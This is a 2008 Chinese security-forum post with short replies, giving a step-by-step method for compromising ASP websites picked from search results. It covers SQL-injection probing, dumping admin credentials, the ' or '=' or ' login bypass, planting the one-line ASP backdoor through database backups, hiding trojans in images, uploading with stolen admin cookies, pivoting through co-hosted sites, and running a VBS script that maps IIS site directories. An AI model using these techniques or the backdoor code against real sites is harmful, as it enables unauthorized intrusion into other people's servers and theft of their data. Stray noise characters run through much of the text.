Board logo

标题: [原创文章] 我的拿WebShell经验 [打印本页]

作者: 柔肠寸断    时间: 2008-6-19 19:20     标题: 我的拿WebShell经验

【文章首发】     【3.A.S.T】网络安全技术团队
  q$ s' X2 x( ?% m" t! x' b【文章作者】      柔肠寸断   [3.A.S.T]      
$ z: w8 [* S/ I: Y" \) X7 ~% ?
& \, Z: c. k2 a4 \2 h9 h       通过几次成功的拿Webshell,发现自己有时也走了一些弯路,为了避免其他的朋友再在困惑中迷失方向,现在我将自己的一些经验写出来,希望对一些想学拿Webshell的朋友有一定的帮助。+ u  ^7 m" F9 |/ h$ X
      
" z% O! c# [" a$ G$ t; K3 m      首先我们要确定我们要检测的网站,可以是自己定下的某个网站,也可以是自己通过Google或者Baidu搜索得到的,遇到ASP这样的动态网站入侵成功率是最佳的。不详细说了,这一步就是选定目标网站。
+ Y: ]* P1 C( J5 v& h' z: a      
: T+ A0 S" n5 u/ Y1 \: I      然后我们开始对网站进行检测。仔细的看看这个网站的超链接尾部有没有形如"ID=XXX(XXX代表数字)"的字符;如果有的话,我们可以对其进行如下的基本检测:打开这个链接,在地址栏ID=XXX的后面加上“and 1=2”(不要加引号), 点击提交后打开一个新的页面,在这个页面中如果显示不正常,或者显示什么错误的话,就说明存在注入漏洞了!我们就可以尝试对其进行注入了!7 ]# d* l; L$ c4 [4 ]# M
     
  {- R5 _, e  p/ v      在这里我们注意下,一般有2种数据库的类型:ACCESS、MSSQL2种数据库。我们先来说一下关于ACCESS数据库的解破。
# w6 ]5 i) n. U2 B% ~8 Y在这里我们可以使用工具猜测数据库的内容(也可以手工猜测,但是太繁琐了),这里我们就使用明小子工具里的“SQL注入猜解”。填上我们刚才手工检测到的注入点,点击检测后程序开始检测是否存在注入点,开始我们已经手工检测过了,所以肯定是存在的了。然后就可以点击“猜解表名”,将数据库的表名给猜出
* n# e! j  h7 B6 p来,有了程序,我们进行这些操作将会很简单;很快就会猜出所有的表名,接着选定我们要猜解的表名,用程序猜解该表名的列名,接着就可以再猜解记录的内容。一般防范措施不当的网站就会被猜出用户名密码;接着我们用程序自带的功能猜解后台地址,猜到之后,用得到的用户名密码进行登陆;一般防范措施差的网站甚至可以直接用万能的用户名密码’or’=’or’进行登陆。
4 V, z% o/ ?; u" e7 ~3 y# a# n# v( [* O# a3 N# R. U* Z
      登陆成功之后,我们进入后台,进入后台才是一切入侵的基本条件。正式开始我们的入侵。4 `" C0 g0 i) D; X+ f& @
5 _1 j5 a4 n' P  n2 i0 J2 s
     首先看下有没有数据库备份的功能,如果有,我们来看看怎么得到Webshell。
' r, B6 e' j8 v: [3 ?/ S      - X5 M1 p3 s" i2 C/ B' [
          1、用一句话木马。通过各种方法,把<%execute request("value")%>这句话写入到数据库,再把写入这句话的数据库通过备份变成后缀为.asp的文件,当然要注意备份后的文件地址,然后进行访问,如果显示的是乱码,那么就恭喜你了,基本上就成功了!在再本地用一个一句话木马的客户端进行连接,就连接出现乱码的那个页面地址,连成功之后,你就可以看见熟悉的WebShell了!9 E+ X/ G. U6 H' W9 g

' H+ ~" j/ {, ^3 E          2、用图片的上传功能。我们把ASP木马的后缀改成图片的后缀名,如GIF、JPG、BMP之类的,进行上传,上传成功之后,会提示文件上传成功,并且会给出文件的位置,如’UploadFiles/20080501012.gif’;但是,有的可能并不会提示,我们就要用WSockExpert对上传的过程进行抓包,抓到上传的路径;然后,我们通过数据库备份的功能,把gif等图片的格式变成ASP格式的数据库,进行访问,这时候我们通常就可以看见我们的WebShell了!但是目前有的网站上传功能会对这个进行检测,如果备份的文件检查不出属于数据库,则会提示“不合法的数据库”,这时候我们该怎么办呢?既然要检测是否有数据库特征,那我们把图片加入数据库特征不就可以了?对!事实就是如此,我们可以通过DOS的COPY命令给图片加上数据库特征,命令如下  “COPY 木马图片.gif+数据库文件.mdb 合成后的文件.gif”这样,我们合成后的图片就会带有数据库的特征了!
/ v% y; M4 Z' }# z. }( N1 L/ R& Z     ( H& Y! R8 k2 s% b
     但是,有的网站后台我们找不到有数据库备份的地方,上面的方法就不管用了,这时候我们该怎么办呢?别急,事情总是有解决的办法的。找到一个有上传功能的页面,随便上传个什么东西,用WSockExpert对上传过程进行抓包,一般我们点击上传之后,在WSockExpert抓到的包中就会找到上传的ASP页面和相应的COOKIES了,当然我们在这里一定要先进入后台,用管理员的账号进行上传,得到的COOKIES就是管理员的了,这个在后面可以用的上。我们再用明小子的上传功能,选择上传的页面,就是我们抓包得到的页面,填上得到的COOKIES,选择我们要上传的木马(要免杀哦!不然传上去就给服务器删了),点击上传,当程序提示成功时,我们就可以对自己的WebShell进行访问了!如果失败,就换换别的上传的类型试试看。' o; P% V2 s' v; D% p: n
6 @/ q( }1 }5 |: c
     有的时候我们可能真的一点拿不到某个网站的WebShell,我们这个时候就可以采用旁注的方法对属于同一台服务器的网站拿WebShell,然后提权拿到整台服务器,再对我们的目标网站进行入侵就可以了。
. F3 I# ]' Z6 }7 C* W以上是对ACCESS数据库的分析和获取webshell,下面,我对MSSQL数据库来进行下分析。过去我也是先学ACCESS数据库的解破,等到学MSSQL数据库的时候就发现自己还是有很多的不懂,因此又走了不少的弯路,现在把MSSQL数据库拿webshell的方法总结下,希望对才接触webshell的朋友们有所帮助。
3 q& ^7 K# K  a( G1 i2 `首先我们先检测下该MSSQL数据库的用户权限,一般都是有2种,一种是SA(system admin)权限,这个权限是很大的;还有一种就是DB_OWNER权限,这个权限赋给用户一些对数据库的修改、删除、新增数据表,执行大部分存储过程的权限。但是涉及到一些系统敏感操作的权限不具备,这也是它与SA权限的唯一区别。0 u1 \, N. Q" N$ r- L1 ~. l- V5 c
* q) L1 p+ ^! P6 A; c, `9 H
     我们首先来寻找网站所在服务器上的目录,可以使用啊D来查看目录,来寻找网站的目录,个人的经验是在D、E、F盘的地方。  x- k; w# f1 U7 V  s1 K/ J  ~! t6 i8 L
0 w, w2 ?6 U/ S
     但是有的时候找不到怎么办呢?我们只要上传个vbs文件就可以了,把下面的文件保存为lookweb.vbs:
  1. On Error Resume Next
  2. If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
  3.         Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & " Usage:Cscript vWeb.vbs",4096,"Lilo"
  4.         WScript.Quit
  5. End If
  6. Set ObjService=GetObject("IIS://LocalHost/W3SVC")
  7. For Each obj3w In objservice
  8.         If IsNumeric(obj3w.Name) Then
  9.                 Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
  10.                 Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
  11.                 If Err <> 0 Then WScript.Quit (1)
  12.                 WScript.Echo Chr(10) & "[" & OService.ServerComment & "]"
  13.                 For Each Binds In OService.ServerBindings
  14.                         Web = "{ " & Replace(Binds,":"," } { ") & " }"
  15.                         WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
  16.                 Next
  17.                 WScript.Echo "ath            : " & VDirObj.Path
  18.         End If
  19. Next
复制代码
然后使用NBSI上传到服务器上,然后执行cscript X:\lookweb.vbs,在回显信息里我们就可以看见该服务器上相应网站与其对应的网站目录,很方便的。网站目录一目了然。; M4 m" l% I9 z. b) [6 Y+ s! P9 Q

( G$ q$ v, a& a     找到了网站的目录 ,我们就可以使用差异备份来获取webshell
7 D: H/ q& b$ u& f
: Y4 `* ]  \; l, a- i     我喜欢使用xiaolu写的Getwebshell,其中<%execute(request("a"))%>的a就是我们过会一句话木马要连接的密码,一定要注意MSSQL数据库是什么类型的,是字符型的还是数字型的。填写好相应的地方,路径一般都是网站的目录,如“D:\wwwroot\”在后面写上备份后的数据库名称,如ri.asp;点“BackupShell”系统就开始自动备份数据库了。备份成功后我们就访问我们备份的文件,当浏览器打开是乱码的时候就成功了。我们用lake2的一句话链接下就可以了,注意要填写密码哦。到这里基本上就可以拿到webshell了;
8 O  w" S: i; o; a! q
0 k8 E: ?0 J/ A2 v7 r, D% B     不用差异备份,就直接找到网站的目录,直接上传webshell文件到网站的目录下看看,也是可以的。# f  W" T3 j7 Q+ v% y

# g9 L7 {8 K1 c2 }  |6 ?     以上都是自己长期实践总结的经验,完全是原创的,呼呼,累死我了。手都酸了。
作者: 残爱    时间: 2009-1-16 12:27

看过了,谢谢小柔分享!
作者: 业余人    时间: 2009-6-23 16:12

看过  谢谢分享
作者: 在意z    时间: 2012-5-16 00:20

谢谢楼主分享技术。。。




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2